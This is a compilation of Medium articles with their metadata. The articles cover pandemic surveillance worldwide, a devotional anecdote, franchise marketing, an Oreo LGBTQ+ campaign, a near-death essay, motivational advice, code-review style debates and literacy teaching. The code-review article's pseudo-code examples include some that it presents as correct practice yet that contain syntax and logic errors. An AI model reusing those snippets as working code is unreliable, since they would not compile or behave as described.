German telecom Telekom is providing location data from its customers to the Robert Koch Institute, the organization coordinating the country’s national action against the coronavirus, as of late April. Germany is also expected to launch a Bluetooth-based app like those used in Singapore and Indonesia to track personal movement and contact.
The country’s public health authority also launched a smartwatch app that collects health data in an attempt to determine whether people are exhibiting signs of the coronavirus.
Those quarantined in Hong Kong must wear electronic wristbands that track their locations, as of March 20. Wristbands are handed out at the airport and must be paired with the individual’s smartphone.
Once a person arrives home, they are given one minute to walk around their apartment to calibrate the wristband and the accompanying app to the space where they are confined.
As of March 20, Indian authorities have expanded tracking citizens through digital and analog means. Location data and CCTV footage are being used to track citizens in the southern Indian state of Kerala, according to Reuters. Western states are also stamping the hands of those arriving in airports with irremovable ink, with the stamp detailing the date until which the person must quarantine.
In addition to personal tracking, Indian authorities are also taking passenger information from airlines and railroad companies.
Now that touch-based authentication like fingerprint scanners are considered risky since they require people to touch a common surface, facial recognition is getting a boost in adoption across India. Secureye, an Indian telecom, is also replacing 650 fingerprint-based security checkpoints in offices and hotels with facial recognition.
The state of Chhattisgarh has released an app to authorize travel in the region, which requires a picture, ID, and “business proof,” as well as details of the trip such as location and duration.
India’s countrywide Aarogya Setu app, meant to be the government’s attempt at contact tracing, tracks a wide range of smartphone data with little insight into what it’s collecting or how it will be used, as of May 7. The Indian government is also building e-payment and telemedicine into the app, suggesting it will be a lasting fixture in India’s digital landscape.
On May 11, the state of Madhya Pradesh revealed personal information about 5,400 quarantined people on a public online dashboard, including their current GPS coordinates. It has since been taken down, and public officials said that the personal information was mistakenly published.
The Indonesian government has developed an app as of March 30 that tracks interactions with nearby Bluetooth devices, like other smartphones, in an attempt to track social distancing and personal interactions. It’s opt-in and offers benefits like notifying people who might have been exposed to get tested for the virus.
A smartphone app developed by the Iranian government scooped up millions of users’ location data alongside a short questionnaire that claimed to detect the likelihood of infection, according to a March 14 report from Vice.
A notice about the app was sent to tens of millions of Iranians, with the directive to take the questionnaire before going in for a coronavirus test. According to an Iranian official, at least 3.5 million people shared their location.
The Israeli government is using data from telecom providers to track the locations of millions of citizens in an attempt to find people diagnosed with the coronavirus and alert those with whom the infected person might have interacted, as of March 16. Those breaking quarantine are threatened with up to six months of imprisonment.
Palestinians checking the status of their permits to stay in Israel must now download an app that tracks their location, since the offices typically visited for this kind of paperwork is closed.
English telecom Vodafone is providing the Italian government with heatmaps of its mobile phone users’ locations, with the first being from Lombardy, Italy. Officials have determined that 40% of people are moving around too much, according to a March 23 report from the New York Times.
The Kenyan government is instituting 24/7 aerial surveillance of the country’s border to detect illegal crossings of goods or people, as of April 9.
As of March 27, the Norwegian Institute of Public Health and Norwegian tech company Simula will build a voluntary app that tracks GPS and Bluetooth data, to be stored for 30 days.
Through location surveillance and mass texts, the government of Pakistan is tracking confirmed cases of the coronavirus as of April 24, and sending alerts to people found to have potentially come in contact with those suffering the disease in the past 14 days.
An app called Home Quarantine requires Polish citizens who are quarantined to intermittently check in by sending a picture of themselves at home within 20 minutes or face a fine, as of March 19.
The app uses facial recognition to determine it’s actually the person being quarantined, and the phone’s location data is used to make sure they’re really at home.
As of May 18, the nation of Qatar has made it mandatory for every citizen to download the Ehteraz app if they intend to leave their home, and to keep installed indefinitely, according to the Qatar state news agency. The app demands extreme data-sharing permission, including location, access to all files, and access to call information.
With more than 100,000 cameras around Moscow, the Russian government is using facial recognition and phone-based location tracking to monitor those under quarantine, as of March 24.
Local governments have been called upon to create their own surveillance systems as well. In the Nizhny Novgorod region, citizens download an app that generates a unique, timed QR code that allows them to go out for three hours to get groceries, one hour to walk a dog, or 30 minutes to take out the trash, according to the Washington Post on April 5.
The Singapore government released an app called TraceTogether, which pings nearby smartphones through Bluetooth to determine which people have come within 6.5 feet of each other for more than 30 minutes, according to the Los Angeles Times on March 25.
The data is stored for 21 days, according to the developers, and does not record the users’ location.
South African telecom companies are handing over cellphone location data in order to track the pandemic, according to Business Insider South Africa. Reportedly 1,500 people’s data are being shared, as of April 3.
Confirmed cases of the coronavirus are being tracked in South Korea by a fusion of credit card purchases, smartphone location tracking, and CCTV footage, presumably analyzed by facial recognition algorithms, according to a March 26 Reuters report.
This allows the Korean government to reconstruct the past actions of those diagnosed with the virus with incredible granularity, like using the person’s location data to check nearby CCTV footage and see if they were wearing a mask, Reuters reports.
In an attempt to enforce social distancing, telecom company Swisscom will alert the federal government when more than 20 phones are located in a 100-square-meter area, as of March 25.
Although the government rejects the accusation that it’s adopting surveillance technology, Taiwan is tracking its citizens’ movement by triangulating the location of their cellphone between nearby cell towers as of March 12.
Those arriving in Thailand from high-risk areas will be given a SIM card that lets the government track their movement for 14 days, as of March 17.
The Turkish government is tracking the locations of coronavirus patients using their cellular data, and will automatically send warning messages if they are detected violating quarantine. All cellular companies operating in Turkey are cooperating with the government to provide this data, according to the state-run Anadolu Agency on April 9.
A draft law was proposed that would mandate that social media platforms like Facebook, YouTube, and WhatsApp have a legal representative in Turkey that the government could pressure to take down content or ban accounts, according to Human Rights Watch. However, those parts of the draft were later withdrawn.
The U.K. is allegedly talking with telecom companies to track its citizens’ location data. In the meantime, the National Health Service has partnered with Palantir as of April 1 to track the spread of the virus and its impact on the health system.
To help track the movement of citizens, the mobile advertising industry is currently supplying data to local, state, and federal government organizations about the location of individuals, according to a March 28 report by the Wall Street Journal. The data is granular enough to tell whether people are complying with stay-at-home directions or if parks are still in use. Foursquare, which has one of the most comprehensive repositories of personal location data, is in talks with numerous government organizations, according to the WSJ. Most data being used comes from apps that have permission to log a user’s location, which is then compiled and resold.
The goal of these efforts is to create a portal that could track citizen movement in up to 500 U.S. cities. Google is also contributing a trove of movement data, which it collects for services like Google Maps’ traffic function.
There are also troubling state and local policies. In West Virginia, those who test positive for the virus but refuse to quarantine are being outfitted with GPS ankle monitors, according to the Associated Press on April 6.
On April 10, Apple and Google announced a new set of digital tools for detecting if individuals have come in close contact with those diagnosed with the coronavirus. The software will eventually be integrated into Android and Apple phones, making the tracking all but ubiquitous. Many of the software’s privacy-guarding machinations are still unknown, but you can read more about what we know so far in Medium’s Coronavirus Blog.
PredPol, a controversial predictive policing company used in cities across the United States to theoretically identify future crime hotspots, has advised on new ways customers can use its software for coronavirus control in a company blog post on April 8.
“Most people gracefully accept these orders to protect their fellow citizens, but not everyone cooperates, so rolling a cruiser through their neighborhood periodically can remind them of their obligations,” the blog said.
Police in New Jersey and Connecticut are using aerial drones with temperature sensors and other apparatus to detect people outside who might have the coronavirus. The drones are made by a company called Draganfly, which claims the drones can detect fevers, sneezing, respiratory rate, and whether people are standing an appropriate distance from one another.
Onfido, a British startup that tries to tie government documentation to your digital identity, is in early talks with U.S. and European countries about developing a “passport” that would prove immunity to the coronavirus, according to Axios and City A.M on April 15.
Peter Thiel-backed Palantir will be a driving force behind the United States’ coronavirus tracking system. The system is called HHS Protect Now, and includes 187 datasets including supply chain data, medical reports, and undisclosed data from private companies.
The Kansas Department of Health and Environment is also tracking its citizens’ movement with a platform called Unacast.
As of May 20, Alabama, North Dakota, and South Carolina are the first three states to publicly start using Apple and Google’s contact tracing technology within their own apps. The two companies said 22 countries and “some U.S. states” have requested access to the technology, according to CNBC.
All states and territories are being directed to provide Palantir with daily data on ventilator availability, according to emails obtained by The Daily Beast. | https://onezero.medium.com/the-pandemic-is-a-trojan-horse-for-surveillance-programs-around-the-world-887fa6f12ec9 | ['Dave Gershgorn'] | 2020-05-22 15:10:30.160000+00:00 | ['Privacy', 'Coronavirus', 'Surveillance', 'Facial Recognition', 'Digital Life'] |
Pramukh Swami Maharaj’s Saintliness (Part 6) | Shower of Inner Feelings
It was the last day of the 31-day Yogiji Maharaj Centenary and Gandhinagar Akshardham Inauguration celebrations in 1992.
On the Swaminarayan Nagar festival site, the 17,000 dedicated volunteers were seated.
Their months of selfless efforts had made the entire celebrations possible and Swamishri wanted to express his heartfelt gratitude for their voluntary service.
The assembly featured many emotional recollections of the celebrations, samuh arti and pushpanjali. Finally, Swamishri rose to bless the volunteers, “You have all performed extraordinary service, which cannot even be described. Even if I perform hundreds of thousands of prostrations to you all it would not be enough. Please forgive me if you have had to face any difficulties. You have all offered pushpanjali to me, but I also want to offer pushpanjali to you all.”
With this, Swamishri took a big rose garland and as he held it up to honor the volunteers, he became emotional. All the volunteers and sadhus seated were also overcome with emotion. There was silence. This respectful silence between guru Pramukh Swami Maharaj and his shishyas pierced the hearts of all. It was a memorable moment that was etched in the hearts of all.
In times of droughts, floods, earthquakes and other disasters, many are amazed at how at a single call from Swamishri thousands of youths volunteer to serve. These free-spirited, independent and often temperamental youths embrace selfless service and spirituality. At the root of this willingness to serve is Swamishri’s genuine love for them.
In New York, a youth came to meet Swamishri. He declared that he was frustrated and fed up with life and to add thrill he had started taking drugs. Swamishri affectionately comforted him, “You are totally healthy, yet others have taken you down the wrong path.”
“But Swami, I’m bored,” the youth sighed deeply.
“Bored! What are you bored about?” Swamishri began to enquire deeper. “You have a healthy body and you are young; so what is there to be bored about? You can overcome any situation. Engage in devotion. You will experience the joy of Akshardham.”
As Swamishri spoke, the youth’s mental turmoil resolved, boredom vanished and he became charged with renewed zeal.
Swamishri’s personality is such that he can connect and the generation gap between him and the youths is reduced to zero. That is why, even dispirited and drifting youths discover new energy and optimism in his presence. They are revitalized to pursue the higher ideals of life. | https://medium.com/bapssatsang/pramukh-swami-maharajs-saintliness-part-6-b2dfe654e413 | ['Param Shanti'] | 2020-12-21 14:03:34.459000+00:00 | ['Life Lessons', 'Compassion', 'Unity', 'Pramukh Swami Maharaj', 'Love'] |
Very very good article. | Very very good article. I think people sometimes ignore the importance of colors the moment they aren’t designers. I’ve seen frontend Developers in this line. I’m a little sad to see that FlatUI colors ranked way back, I really like them. But nevertheless this is a phenomenal article | https://medium.com/@ekimunyime/very-very-good-article-5a942a8a4b2d | ['Emmanuel Unyime'] | 2020-12-19 15:00:34.254000+00:00 | ['Design', 'Web Design', 'Web Development', 'Colour', 'Colors'] |
8 Marketing Tips for Your Franchise Business | You have successfully purchased a franchise and are looking for ways to expand your business and bring in new customers. Most franchises have marketing and public relations off site and built in, however you can also do things to create more buzz and business at your franchise. One great way to build a larger customer base is to market your franchise. Here are eight marketing tips for your franchise business.
Online
Make sure you set up online accounts throughout the internet. You will want social media accounts along with Yelp and other accounts. Make sure your information is correct and there are ways for customers to provide feedback. Highlight specials and good deals monthly or weekly on your social media accounts to keep them fresh and appealing to customers.
Blog
Set up a daily or weekly blog to highlight your business. Talk about what you do and your employees. Make sure your customers know what you have to offer them and tell them why they should stop by your business. You can link to articles that coincide with what you are selling. Also posting pictures of your business and employees will help make your business more accessible to potential customers.
Press releases
Write up press releases bi-weekly or monthly highlighting specials, classes, sales, and other interesting things your business is doing. Send them to local newspapers to get free publicity. Start with local papers and expand as your business gets bigger.
Tie ins
Use information from other sources to market your franchise. The Arthur Murray Dance Studio of South Jacksonville uses articles about hustle dance. This promotes their business in a positive light and encourages people of all ages to come in and take a class. Tying in outside resources will help boost your marketing range and potential customers.
Chamber of Commerce
Join your local chamber of commerce. This will help you get to know other local business owners and help your franchise to be recognized as a viable business in your town. Most chamber of commerces will advertise and promote the businesses that have joined in many exciting ways.
Sales
Offer customers sales on your items. You can offer buy one get one free, discounted items, and percentage off retail sales. Offering sales will draw your regular customers as well as potential new customers into your business. You do not have to break the bank. Offer a 10% coupon in your local paper, or give seniors a 10% discount on Wednesday’s. These are easy ways to draw a crowd into your business.
Community Service
Have your employees and you participate in community service events. You can pick up trash along the roads in your community or help paint houses or fire hydrants while wearing your company logo. The local people will appreciate your efforts and will tie your business to helpfulness in the community. Strong community ties will help promote your franchise.
Sponsor events
Organize a town concert, dance, or marathon. You can sponsor the event and offer small free giveaways at the event. Make up tents, shirts, and banners with your company name and logo that will be displayed around town. The community will appreciate the fun time and will associate your franchise with a good time. If sponsoring an event will cost too much, go together with a few other local businesses or talk to the chamber of commerce president and let them know what you want to do. Your corporate office may be able to assist with some of the giveaways and promotional material. Let the community know that you are a fun place to visit and you care about your customers. | https://artplusmarketing.com/8-marketing-tips-for-your-franchise-business-b03e898e0582 | ['Jane Hurst'] | 2019-10-02 18:03:05.271000+00:00 | ['Franchising', 'Franchise', 'Small Business', 'Marketing'] |
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Here, I am gonna share with you about best video editing app for android without a watermark. If you are Really interested to know the best video editing app for android without a watermark So, You can read this article carefully. Read More | https://medium.com/@vlog2crash/best-video-editing-app-for-android-without-watermark-for-youtube-b60676f16ad4 | [] | 2020-12-25 10:56:53.539000+00:00 | ['Video Editing', 'Best Video Editing App', 'YouTube', 'Android'] |
Oreo’s new campaign makes the LGBTQ+ community feel accepted | Photo Credit: Image by Sharon McCutcheon via https://pixabay.com/photos/human-rights-equality-rainbow-lgbt-3805188/
Each year the acceptance of the LGBTQ+ community tend to be improving. Openly gay folks are taking higher positions in different offices, more and more celebrities are coming out as LGBTQ+. However, many LGBTQ+ teenagers and young adults are still struggling with being accepted and feeling welcomed by their parents. The question is what do we do to keep improving this situation? Raising awareness that having LGBTQ+ kids is okay is a crucial step. Recently, Oreo, a famous cookie company, partnered up with PFLAG, which is the first and largest organization for lesbian, gay, bisexual, transgender, and queer people, their parents, families, and allies, produced an amazing marketing campaign that advocates for the LGBTQ+ youth. #ProudParent campaign sets an amazing example of how an LGBTQ+ child feels when their parents are not accepting of them. The feelings of grief, self-doubt, sadness lead to depression, anxiety, various psychological disorders, and even suicide. In the commercial, a young woman brings her girlfriend to meet her parents. On one hand, her mother is welcoming both of them with an open heart. On the other hand, her father is distant and not accepting. When one of her siblings comes home with their family, her father seems to be excited to see them and spends most of the time with them. The protagonist is struggling with her father accepting her sibling’s family with an open heart. After having a conversation with the mother, the father realizes that he has been hurting his daughter’s feelings so much and decides to try his best to show his love and acceptance. He paints their front yard fence in rainbow colors. And the bonding process starts. | https://medium.com/@mkhudiakov-66426/oreos-new-campaign-makes-the-lgbtq-community-feel-accepted-eac761efecda | ['Max Khudiakov'] | 2020-11-30 19:39:29.465000+00:00 | ['LGBTQ', 'Marketing', 'LGBT', 'Oreo'] |
My Dog Lay With Me at the Hour of My Death | My Dog Lay With Me at the Hour of My Death
She helped me survive with a new understanding of the world around us
Photos courtesy of the author.
The day I almost died, my dog was at my side. Now in her final stage of life, I pay tribute to her by sharing what she did as I lay dying, in hopes it helps others find meaning through these, and all, difficult times.
Virginia changed my life. She woke me each morning, just past dawn, and brought me into the woods, among the trees. She taught me to rise early when the world was silent and my head was silent and my heart was open.
Every day, little by little, my dog woke me from the sleepwalk that I’d mistaken for life. At first, while she investigated the forest floor, my mind was elsewhere. Staring down at my phone. Absorbed in my own thoughts.
But each time she pulled on her leash for us to stop, I began to look up. And then around. The intricate patterns of tree bark. The paintings on a bird’s wings. The way grass moves in choreography to the wind, like a symphony of energetic little children. The more I saw, the more I could see.
Each walk, she brought me deeper into the fold of what was really happening which was not on my phone or in my “life.” It was everything surrounding it.
I knew something was really wrong when the blood clot broke from my leg and rushed toward my heart, but my only thought was to bring Virginia to safety. We lived on 10 acres in the Sierra foothills, with few neighbors to help should a woman die and her dog go missing. I looked over at the mailbox at the top of our steep driveway, just eight feet away, and knew I had to tie her there. I tried to walk but with each subsequent step my legs got heavier and heavier, until my feet were cinder blocks, cemented to the road.
Unable to move, I fell to the ground and looked up again, instantly aware that my life was slipping away, yet determined not to let Virginia lose everything too. Crawling on my hands and knees across the rough pavement, each breath painful, my heart beating wildly, I gripped her leash in my right palm and held my gaze on the mailbox. Inch by inch we came closer, but when we arrived at its wooden post I could not lift my arms to tie her to it.
Just then, something overcame me — a force from within and without — and I watched as my hands looped the leash around the post, brought the end through the loop, and with all my remaining life energy, pulled to tighten the knot.
I collapsed to the ground.
I am dying, I thought.
In that moment, without any other choice, I relinquished every sense of control I’d held onto — fiercely — for the last 32 years.
Virginia then moved to stand over me, and I knew she was there for a purpose. She was not afraid or even curious as she normally would be when she sensed something unusual. It was as if she was in coordination with the universe, with what was happening. She looked outward toward the trees and the sky, obeying a command from some other place.
Then suddenly, she stepped back to my side.
What happened next will elude me for the rest of my days.
I lay on the pavement, looking up. The clouds moved across the sky with an awareness, a knowingness, that was also mine.
The sun beamed down directly in front of us, an inner light I’d always recognized as my being.
Leaves began dancing on my driveway in a swirl of colors, and I instantly felt their warmth and playfulness as my own.
The clouds moved to cover the sun, and I felt raindrops on my face, each one surrounding me with a contemplation that was… me.
There was no separation between myself and the elements moving around me. There was an instant sameness: I was the clouds, the sun, the leaves, the rain — and they, me.
All throughout, in the corner of my vision I saw Virginia there by my side. She was not looking away as she usually would from my human fixations. Instead, she looked directly at each scene unfolding before us, like she was in on the plan.
Unflinching and attuned, strangely choreographed to the show before me. Like she was part of this ensemble.
It was then that I understood what she had been trying to show me all along on those morning walks… | https://humanparts.medium.com/my-dog-lay-with-me-at-the-hour-of-my-death-701147944a7f | ["Christen O'Brien"] | 2020-05-29 18:46:52.628000+00:00 | ['Pets', 'Inspiration', 'Spirituality', 'Life', 'Death'] |
Why You Can’t Afford to Focus on the Negative | Focus has always been at a premium. It’s even more precious today, thanks to social media, flashing billboards, and ADD.
But let’s be honest. You can focus when you want to. We all can. The only question is what are you going to focus on?
Bedros Keuilian
If you’re content with a mediocre life that leaves you feeling unfulfilled at the end of the day, you’ll focus on whatever walks in front of you. The end result is a miserable existence with no impact on other people.
If that’s you, move along. This article isn’t for you.
But if you’re ready for some real talk and you’re hungry for something more, keep reading. There’s a reason why you’re not where you want to be in life, and it’s not because of your circumstances, your upbringing, or the economy.
It’s because of your focus.
Focus guarantees success
When you think about the most successful entrepreneurs, what do they have in common? They have unbreakable focus. They know what they want, they know how to get there, and everything they do serves that end.
They don’t get caught up in drama or sideshows, and they don’t play games.
If all it takes is focus to find success, shouldn’t we all be wildly successful?
In a perfect world yes.
But here’s the thing. In life, you get what you focus on. The problem is that most of you focus on shit. And once you lock in on the negative, the bad vibes follow you everywhere and color how you see everything.
I learned this the hard way in my early 30s.
Through most of my life, I hung out with dumbass people, did dumbass stuff, and became a textbook dumbass. Actually, my daily decisions were propelling me toward earning the title of World’s Biggest Dumbass.
The problem was that I wasn’t satisfied with being a moron.
In the midst of all that negativity, I felt greatness gnawing at me. I knew I had the potential to achieve and become more. But I didn’t want to focus on my potential. It made me uncomfortable knowing I was wasting it.
So I stifled it. I surrounded myself with negative people, carried negative thoughts, and became angry and bitter. The world around me sucked, I was given a bum hand, and everyone was out to get me. As far as I could see, I couldn’t take a single step without getting dog crap on my shoes.
That’s how I thought.
Thankfully, I escaped. It wasn’t easy, but a light came on, and I fought my way out of stupidity.
And it all started when I changed my focus.
How the right mindset changes everything
Maybe you’ve been focusing on all the wrong stuff. Happens all the time.
After all, it’s hard to distance yourself from negativity. Weak people thrive on it, and they’re lurking around every corner, ready to seek and destroy anyone who tries to do something great.
These weak-minded people tear others down and convince them to believe what I believed for years. That there’s no winning in life. That it’s impossible to have a real impact. Not for someone like me at least. Not for someone like you.
Here’s the thing though. Winning happens to people who want to win. Who fight tooth and nail to get victories. Who don’t stop fighting to get more victories.
Losing happens to everyone else.
When you focus on what’s going wrong, guess what happens? More things go wrong.
If you focus on bullshit conversations or engage in gossip, then YOU become paranoid and assume everyone’s talking shit on you. If you’re jealous of the success, happiness, or things that others have, then you wind up depressed, broke, and feeling empty.
Anytime people talk smack about you, that’s a win. People trash talk when you have something they want. And if you’re gossiping or envying, man up! Stop trying to build yourself up by tearing others down. That other entrepreneur worked for that success. You can have the same impact if you trash the negative energy.
Teach yourself to be happy when other people succeed. Then ask how they did it. Successful people love sharing insider tips. They’re never threatened because they’re three steps ahead of the competition.
Here’s the BIG lesson for you…
When you feel negativity creeping into your mind, nip it in the bud. Don’t let it hang around, not for a moment. Instead, focus on the one thing you have absolute control over: YOU.
Then become the best version of yourself.
Start with expectations. Set higher standards for yourself and stop accepting mediocrity.
Commit to better physical, mental, and emotional hygiene. Don’t skimp on any of these three. Otherwise, you can’t reach your full potential. The combination is necessary to grow.
Do what makes YOU happy, makes YOU money, and gives YOU a sense of significance. It doesn’t matter what your childhood friends say. It doesn’t matter what your doubting relatives say. If it gets you juiced and makes you pop out of bed at 5 am every morning, do it. As long as it’s putting food on your table and you’re serving others, hit it hard every day. Like your life depends on it.
While you’re growing yourself and your business empire, your vision will improve.
Those things that used to be insurmountable obstacles turn into opportunity. The people you thought were your best friends show themselves as wolves in sheep’s clothing. That dream you used to think was too big now fits in your pocket.
All because you trained your gaze on the right things and stopped focusing on negativity.
Building an empire that can’t be shaken comes down to one simple fact: When you focus on shit, shit grows. When you focus on you, you do.
So what’s it going to be? | https://medium.com/@bedroskeuilian/why-you-cant-afford-to-focus-on-the-negative-ba644708ebf1 | ['Bedros Keuilian'] | 2020-03-12 14:30:36.804000+00:00 | ['Focus', 'Success', 'Business And Life', 'Negativity', 'Positivity'] |
Deck the halls with Amazon’s rocking one-day Anker speaker sale | Stop being afraid of what could go wrong and think of what could go right | https://medium.com/@paul25014733/deck-the-halls-with-amazons-rocking-one-day-anker-speaker-sale-fc6a67793c90 | [] | 2020-12-23 22:21:14.704000+00:00 | ['Consumer', 'Surveillance', 'Streaming', 'Chromecast'] |
Code Reviews: Common Sources of Extreme Violations and How to Avoid Arguments about Fixing Them | Knives are drawn. Blades are sharpened for conflict. A dispute rages between developers. The passions of coders are inflamed not over buggy software but over egregiously concise or verbose code. Those lines are signs of a hack. Any programmer who disagrees is an amateur. Only a neophyte would produce methods and blocks that so clearly violate good taste. Yet, differing preferences, not laws of nature, are the source this conflict and the vitriol. Hatred between developers is, in this case, the result of different inclinations towards trading succinctness for different ends. These goals, and the tendency for them, are different for every developer, leading to constant conflict in certain areas. One such place is wordy or pithy code. To minimize combat, a team can use code reviews to highlight the most egregious segments, and the group can argue over those parts instead arguing over every line and block of a code base.
Certain code constructs or techniques are likely to produce the extreme violations and to lead arguments about correcting those infractions. Fixing those abuses leads to intense arguments. These disagreements can be resolved, or at least deescalated, for the particular linguistic features and techniques listed below.
Conditional Operator vs. If Statement
The linguistic elements, the conditional-operator and the if-statement, lead to arguments, with different camps arguing that each one is the superior technique for certain operations. These actions can be implemented in myriad ways, each technique bringing advantages and disadvantages.
If Statement: The if-statement can contribute to atrociously voluminous code, when the density of the conditions is high. A high density makes a block or method appear puffy. Yet, code written with if-statements is also highly debuggable, since a developer can step through each line.
if(label1IsRequired){
label1.Color = “red”;
} else {
label1.Color = “black”;
} if(label2IsRequired){
label2.Color = “red”;
} else {
label2.Color = “black”;
} if(label3IsRequired){
label3.Color = “red”;
} else {
label3.Color = “black”;
}
Conditional Operator: The conditional-operator can lead to some flagrantly terse lines, when it used as a replacement for several if-statements. Embedded conditional-operators make code, when taken to the extreme, very difficult to read, test, or debug. Any block or method heavy on conditional-operators is also very compact, reducing the amount of code that a developer must scan.
healthIndicatorColor = (health == “Good”)? “green” : (health == “Fair”)? “yellow” : (health == “poor”)? “red” : (health == “life_support”)? “orange” : “purple”;
Potential Resolution: Conditional-operators are a beneficial, when they replace a high density of values set based on conditions implemented through if-statements. Conditional-operators are destructive, when they replace even a couple of decisions embedded within one another. Imperatives that fit readably on one line are a prime target for conditional operators, while conditions that require several lines are the domain of if-statements. Any egregious usage of if-statements or conditional-operators should be corrected to deploy the appropriate usage of one of those constructs. (Note: Modification might require significant refactoring.)
if(health == “Good”) {
healthIndicatorColor = “green”;
} else if(health == “Fair”) {
healthIndicatorColor = “yellow”;
} else if(health == “poor”) {
healthIndicatorColor = “red”;
} else if(health == “life_support”) {
healthIndicatorColor = “orange”;
} else {
healthIndicatorColor = “purple”;
} label1.Color = (label1IsRequired)? “red” : “black”;
label2.Color = (label2IsRequired)? “red” : “black”;
label3.Color = (label3IsRequired)? “red” : “black”;
Multiple Return Statements vs. One Return Statement
Two particular styles that lead to arguments are multiple returns and single returns. Disagreements emerge over whether methods should have one return statement or whether multiple return statements are acceptable. Each approach has positives and negatives.
Multiple Return Statements: Multiple-return statements can contribute to code that is difficult to understand, follow, and test. However, methods with multiple returns can be shorter than functions with a single return.
SomeDataType someMethod(param1, param2, param3) {
SomeDataType retVal;
if(param1 == null) {
retVal = null
}
if(retVal == null) {
return retVal;
}
if(param2 != null){
retVal = param2;
}
if(retVal.Equals(param2)){
return retVal;
}
retVal = param3;
return retVal;
}
One Return Statement: A single return-statement can lead to long methods. Yet, these procedures have a single point exit, simplifying testing and debugging.
SomeDataType someMethod(){
SomeDataType retVal;
//hundreds or thousands of lines code
return retVal;
}
Potential Resolution: Multiple returns make code difficult to understand, follow, and test, when they are used inconsistently. Single return-statements lead to long methods, when they are proceeded by lengthy stretches of code. Those drawn-out spans can be shortened, or at least made readable, by using several return-statements instead of one. Single returns are perfectly acceptable, when they follow short tracts of code. Any glaring misuse of a single return-statement or multiple returns should be fixed to apply an accepted use case of one of those styles. (Note: Correction might require significant refactoring.)
SomeDataType someMethod(param1, param2, param3){
if(param1 == null || param3 == null){
return null;
}
SomeDataType retVal = null;
if(param2 != null{
retVal = param2;
} else if(param1 != null) {
retVal = param1;
} ele if(param3 != null) {
retVal = param3;
}
return retVal;
} SomeDataType someMethod(param1, param2){
SomeDataType retVal = null;
for(int i=0;i<param1.length;i++) {
if(param1[i].equals(param2)){
retVal = param1[i];
break;
}
}
return retVal;
}Break and Continue Usage in Loops
The break and continue constructs are the subject of intense debates. On one side of the argument, developers argue that break and continue can simplify control flow. Other programmers contend that these features complicate a program’s logic. Break and continue can definitely be used to simplify or complicate code. These lines can be spotted.
Break and Continue Usage: The elements can simplify code, but they can also needlessly complicate them.
SomeDataType someMethod(param1, param2){
SomeDataType retVal = null;
for(int i=0;i<param1.length;i++) {
if(param1[i] == null){
continue;
}
if(param1[i].equals(param2)){
retVal = param1[i];
break;
}
}
return retVal;
} SomeDataType someMethod(data, param1) {
SomeDataType retVal = null;
dosomething:
for(int i=0;i<retVal != null;i++){
if(i >= data.length){
break;
}
if(data[i].equals(param1)){
retVal = data[i];
} else {
continue;
}
} if(retVal == null){
data — refreshData();
goto dosomething;
} return retVal;
}
Potential Resolution: Most developers argue that code should use simple mechanisms for control flow. Which specific mechanisms are simple is the source of the debate. This argument becomes much less heated, when each instrument is used in widely accepted ways. Accepted approaches do exist for break and continue. Stick to those conventions to prevent disagreements and to simplify control flow. Any means of control that egregiously violates those standards should be corrected without debate.
SomeDataType someMethod(data, param1) {
SomeDataType retVal = null;
for(int i=0;i<param1.length;i++) {
if(data[i] == null){
continue; //skip rest of loop
}
if(data[i].equals(param2)){
retVal = data[i];
break; //don’t loop any more b/c I’m done
}
}
return retVal;
}
Defensive Exceptions
Exceptions are a means to indicate a problem or to ward off a future issue. What headaches should be indicated or warded off by what parts of code is a topic of fierce debate. On one end of the disagreement, coders argue that pervasive defensive exceptions prevent errors and make them easy to location. However, that laundry list of defense can make code bloated and difficult to understand, as some programmers have argued. Developers on both side of the debate have a point. Defensive exceptions have both benefits and detriments.
Benefits and Detriments of Defensive Exceptions: Protection against errors and other problems can be guarded against, with minimal drawbacks, using defensive exceptions. Those flaws become magnified, when the technique is indiscriminately.
void someMethod(param1, param2) {
if(param1 == null || param2 == null){
throw new ArgumentNullException(“One or more parameters is missing”);
}
//do method stuff
} void someMethod(param1, param2) {
//dozens of lines of defensive checks…..
//do rest of method
}
Potential Resolution: The deficiencies of defensive exceptions are smallest, when they are deployed in accepted usages. Any deployment of the technique that strays from those conventions should be corrected, unless a compelling reason is provided.
public void someMethod(param1, param2) {
//check each parameter in a public method
if(param1 == null || param2 == null){
throw new ArgumentNullException(“One or more parameters is missing”);
}
//ward off problems causd by invalid data
if(!isValid(param1) || !isValid(param2)) {
throw new InvalidParameterException(“One or more parameters is invalid”);
}
//do something with parameters
}
Wrap-up
These code constructs and techniques are used by both good and bad developers. Programmers are people. Human beings have tendencies. These inclinations manifest themselves in code. Occasionally, a developer’s impulses lead him to write code that other coders rightly criticize. The developer being pilloried is not necessarily a bad programmer. The coder criticizing him is not necessarily a good developer. Both people have likely been led astray, at one point, by their preferences. These desires should not lead development to degenerate into a never-ending stream of insults hurled at one another. Rather, programmers should review each other’s code, limit their battles to its worst sections, and agree to settle certain arguments through the rules laid out above. | https://medium.com/datadriveninvestor/code-reviews-common-sources-of-extreme-violations-and-how-to-avoid-arguments-about-fixing-them-e64df2dd464b | ['Collin Rusk'] | 2018-10-10 01:53:21.072000+00:00 | ['Programming', 'Code Review', 'Software Engineering', 'Software Development', 'Arguments'] |
If We Want Johnny to Read, We Need to Teach Literacy the Proven Way | “Why can’t Johnny read?” We have been asking this specific question for nearly 75 years. Two decades ago, it gained new prominence with the release of the groundbreaking National Reading Panel Report, Teaching Young Children to Read, with the query becoming shorthand for questions about the deficiencies of reading instruction in America.
But since that report’s release in 2000, data still details that nearly 40 percent of children in fourth grade are unable to read at grade level. Johnny and Jane and their families deserve a straightforward answer to that question, particularly with all that we know from decades of research detailing the most effective, proven ways to ensure that virtually all young learners acquire literacy skills. More importantly, and more simply, these kids need to learn how to read.
We can all agree that every learner needs to be a strong, confident reader to succeed. We can all agree that educators should be using the most effective instructional practices to get every child reading. Yet with all of that agreement, we are still failing to make good on the promise, leading to some hard questions we all must confront.
Why are so many children struggling to read? Are today’s children more resistant to learning than those of past generations? No. Are teachers less attentive or is less emphasis being placed on reading? No. If anything, more attention is being devoted to the subject than ever before. Can scientifically based reading instruction make a difference? YES.
By and large, this is not a problem of why Johnny and Jane won’t learn to read, but of how they can learn to read. For years, we have had strong evidence for how to teach virtually all children to read. By using approaches reflecting scientifically based reading research, we can teach nearly every child to read well by grade three.
